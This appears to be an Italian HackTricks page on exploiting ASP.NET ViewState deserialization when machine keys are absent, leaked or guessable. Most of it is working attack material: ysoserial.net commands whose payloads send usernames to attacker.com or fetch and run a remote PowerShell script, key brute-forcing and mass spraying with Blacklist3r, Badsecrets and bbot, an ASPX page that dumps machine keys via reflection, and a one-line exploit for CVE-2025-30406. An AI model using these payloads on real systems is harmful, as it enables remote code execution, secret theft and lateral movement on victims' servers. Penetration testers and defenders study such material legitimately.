Sfruttare __VIEWSTATE senza conoscere i segreti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos’è ViewState

ViewState funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e dei controlli tra le richieste. Durante il rendering dell’HTML di una pagina, lo stato corrente della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono poi inserite in campi ViewState nascosti.

Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietĂ  o dalle loro combinazioni:

  • Base64:
  • Questo formato è utilizzato quando gli attributi EnableViewStateMac e ViewStateEncryptionMode sono impostati su false.
  • Base64 + MAC (Message Authentication Code) Abilitato:
  • L’attivazione del MAC si ottiene impostando l’attributo EnableViewStateMac su true. Questo fornisce la verifica dell’integritĂ  dei dati ViewState.
  • Base64 + Encrypted:
  • La cifratura viene applicata quando l’attributo ViewStateEncryptionMode è impostato su true, garantendo la riservatezza dei dati ViewState.

Casi di test

L’immagine è una tabella che dettaglia diverse configurazioni di ViewState in ASP.NET in base alla versione del framework .NET. Ecco un riepilogo del contenuto:

  1. Per qualsiasi versione di .NET, quando sia MAC che la cifratura sono disabilitati, non è richiesto un MachineKey e quindi non esiste un metodo applicabile per identificarlo.
  2. Per versioni inferiori a 4.5, se il MAC è abilitato ma la cifratura no, è richiesto un MachineKey. Il metodo per identificare il MachineKey è indicato come “Blacklist3r.”
  3. Per versioni inferiori a 4.5, indipendentemente dal fatto che il MAC sia abilitato o meno, se la cifratura è abilitata è necessario un MachineKey. L’identificazione del MachineKey è un compito per “Blacklist3r - Future Development.”
  4. Per le versioni 4.5 e successive, tutte le combinazioni di MAC e cifratura (sia che entrambi siano true, o che uno sia true e l’altro false) richiedono un MachineKey. Il MachineKey può essere identificato usando “Blacklist3r.”

Caso di test: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

È inoltre possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro AspNetEnforceViewStateMac a zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificazione degli attributi di ViewState

Puoi provare a verificare se ViewState è protetto da MAC catturando una richiesta contenente questo parametro con BurpSuite. Se Mac non viene usato per proteggere il parametro, puoi sfruttarlo usando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Gli sviluppatori possono rimuovere ViewState dall’essere parte di una richiesta HTTP (l’utente non riceverà questo cookie).
Si potrebbe presumere che se ViewState non è presente, la loro implementazione sia sicura da eventuali vulnerabilità derivanti dalla deserializzazione di ViewState.
Tuttavia, non è cosÏ. Se aggiungiamo il parametro ViewState al corpo della richiesta e inviamo il nostro payload serializzato creato usando ysoserial, saremo comunque in grado di ottenere code execution come mostrato nel Caso 1.

Caso di test: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

Per abilitare ViewState MAC per una pagina specifica dobbiamo apportare le seguenti modifiche in un file .aspx specifico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Possiamo farlo anche per l’intera applicazione impostandolo nel file web.config come mostrato di seguito:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Poiché il parametro è protetto da MAC questa volta, per eseguire con successo l’attacco dobbiamo prima ottenere la chiave usata.

Puoi provare a usare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave usata.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets è un altro tool che può identificare machineKeys noti. È scritto in Python, quindi, a differenza di Blacklist3r, non ha dipendenza da Windows. Per .NET viewstates, esiste una utility “python blacklist3r”, che è il modo più rapido per usarla.

Può essere fornito direttamente con il viewstate e il generator:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Oppure, può connettersi direttamente all’URL di destinazione e provare a estrarre il viewstate dall’HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Per cercare viewstates vulnerabili su larga scala, in combinazione con l’enumerazione dei sottodomini, può essere usato il modulo badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Se sei fortunato e la chiave viene trovata, puoi procedere con l’attack usando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Nei casi in cui il parametro _VIEWSTATEGENERATOR non viene inviato dal server, non è necessario fornire il parametro --generator, ma i seguenti:

--apppath="/" --path="/hello.aspx"

Sfruttare valori <machineKey> riciclati su larga scala

Ink Dragon (2025) ha dimostrato quanto sia pericoloso quando gli amministratori copiano i blocchi di esempio <machineKey> pubblicati nella Microsoft docs, nelle risposte di StackOverflow o nei blog dei vendor. Una volta che un singolo target leaks o riusa quelle chiavi attraverso la farm, ogni altra pagina ASP.NET che si fida di ViewState può essere dirottata da remoto senza alcuna vulnerabilità aggiuntiva.

  1. Build a candidate wordlist with the leaked validationKey/decryptionKey pairs (e.g. scrape public repos, Microsoft blog posts, or keys recovered from one host in the farm) and feed it to Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

Lo strumento firma ripetutamente un blob benigno __VIEWSTATE con ogni chiave candidata fino a quando il server non accetta il MAC, dimostrando che la chiave è valida. 2. Forge the malicious ViewState once the key pair is known. If encryption is disabled you only need the validationKey. If encryption is enabled, include the matching decryptionKey so the payload survives the decrypt → deserialize path:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Gli operatori spesso incorporano launcher residenti su disco (es. PrintNotifyPotato, ShadowPad loaders, ecc.) direttamente nel payload perchĂŠ viene eseguito come worker di IIS (w3wp.exe). 3. Pivot laterally by recycling the same <machineKey> across sibling SharePoint/IIS nodes. Once one server is compromised you can replay the key to hit every other server that never rotated its configuration.

Caso di Test: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true

In questo caso non si sa se il parametro sia protetto con MAC. Allora il valore è probabilmente criptato e avrai bisogno del Machine Key per criptare il tuo payload per sfruttare la vulnerabilità.

In questo caso il modulo Blacklist3r è in sviluppo…

Prima di .NET 4.5, ASP.NET può accettare un parametro ___VIEWSTATE_ non criptato dagli utenti anche se ViewStateEncryptionMode è stato impostato su Always. ASP.NET controlla solo la presenza del parametro __VIEWSTATEENCRYPTED nella richiesta. Se si rimuove questo parametro e si invia il payload non criptato, verrà comunque elaborato.

Quindi se gli attacker trovano un modo per ottenere il Machinekey tramite un’altra vuln come file traversal, il comando YSoSerial.Net usato nel Caso 2, può essere utilizzato per eseguire RCE usando la vulnerabilità di deserializzazione di ViewState.

  • Rimuovere il parametro __VIEWSTATEENCRYPTED dalla richiesta per sfruttare la vulnerabilitĂ  di deserializzazione di ViewState, altrimenti restituirĂ  un errore di validazione MAC di ViewState e l’exploit fallirĂ .

Caso di Test: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false eccetto quando entrambi gli attributi sono false

Possiamo forzare l’uso del framework ASP.NET specificando il parametro qui sotto all’interno del file web.config come mostrato di seguito.

<httpRuntime targetFramework="4.5" />

In alternativa, questo può essere fatto specificando l’opzione sottostante all’interno del parametro machineKey del file web.config.

compatibilityMode="Framework45"

Come nel precedente il valore è cifrato. Quindi, per inviare un payload valido l’attaccante ha bisogno della chiave.

Puoi provare a usare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave utilizzata:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Per una descrizione piĂš dettagliata di IISDirPath e TargetPagePath consulta qui

Oppure, con Badsecrets (con un valore generator):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Una volta identificata una Machine key valida, il passo successivo è generare un payload serializzato usando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Se hai il valore di __VIEWSTATEGENERATOR puoi provare a usare il parametro --generator con quel valore e ommettere i parametri --path e --apppath

Un sfruttamento riuscito della vulnerabilità di deserializzazione del ViewState porterà a una richiesta out-of-band verso un server controllato dall’attaccante, che includerà il nome utente. Questo tipo di exploit è dimostrato in un proof of concept (PoC) reperibile nella risorsa intitolata “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”. Per maggiori dettagli su come funziona il processo di sfruttamento e su come utilizzare strumenti come Blacklist3r per identificare la MachineKey, puoi consultare il PoC of Successful Exploitation.

Caso di test 6 – ViewStateUserKeys è in uso

La proprietà ViewStateUserKey può essere usata per difendersi da un CSRF attack. Se una tale chiave è stata definita nell’applicazione e proviamo a generare il payload di ViewState con i metodi discussi finora, il payload won’t be processed by the application.
Devi usare un parametro in piĂš per creare correttamente il payload:

--viewstateuserkey="randomstringdefinedintheserver"

Risultato di uno Sfruttamento Riuscito

Per tutti i casi di test, se il ViewState YSoSerial.Net payload funziona con successo allora il server risponde con “500 Internal server error” con contenuto della risposta “The state information is invalid for this page and might be corrupted” e riceviamo la richiesta OOB.

Consulta further information here

Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)

Gli attaccanti che sono in grado di caricare o eseguire codice ASPX arbitrario all’interno della web root del target possono recuperare direttamente le chiavi segrete che proteggono __VIEWSTATE invece di bruteforcingarle. Un payload minimale che leaks le chiavi sfrutta classi .NET interne tramite reflection:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Richiedendo la pagina vengono mostrati il ValidationKey, il DecryptionKey, l’algoritmo di crittografia e la modalità di compatibilità di ASP.NET. Questi valori possono ora essere inseriti direttamente in ysoserial.net per creare un gadget __VIEWSTATE valido e firmato:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Questa primitiva di esfiltrazione di chiavi è stata sfruttata massivamente contro server SharePoint on-prem nel 2025 (“ToolShell” – CVE-2025-53770/53771), ma è applicabile a qualsiasi applicazione ASP.NET in cui un attacker può eseguire codice server-side.

2024-2025 Scenari di sfruttamento reali e Hard-coded Machine Keys

Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)

Microsoft Threat Intelligence ha riportato una massiccia ondata di sfruttamento di siti ASP.NET in cui il machineKey era stato precedentemente leaked su fonti pubbliche (GitHub gists, blog posts, paste sites). Gli avversari enumeravano queste chiavi e generavano gadget __VIEWSTATE validi con la versione 1.41 di ysoserial.net usando i flag --minify e --islegacy per eludere i limiti di lunghezza del WAF:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Targets che continuano a riutilizzare le stesse chiavi statiche su piĂš farm rimangono vulnerabili indefinitamente; una volta che migrano a valori AutoGenerate la spray technique muore, quindi date prioritĂ  alle legacy deployments che espongono ancora materiale hard-coded.

CVE-2025-30406 – Gladinet CentreStack / Triofox chiavi hard-coded

Kudelski Security ha scoperto che diverse release di CentreStack / Triofox sono state distribuite con valori machineKey identici, permettendo l’esecuzione remota di codice senza autenticazione tramite ViewState forgery (CVE-2025-30406).

Exploit in una riga:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Corretto in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – eseguire immediatamente l’aggiornamento o sostituire le chiavi.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks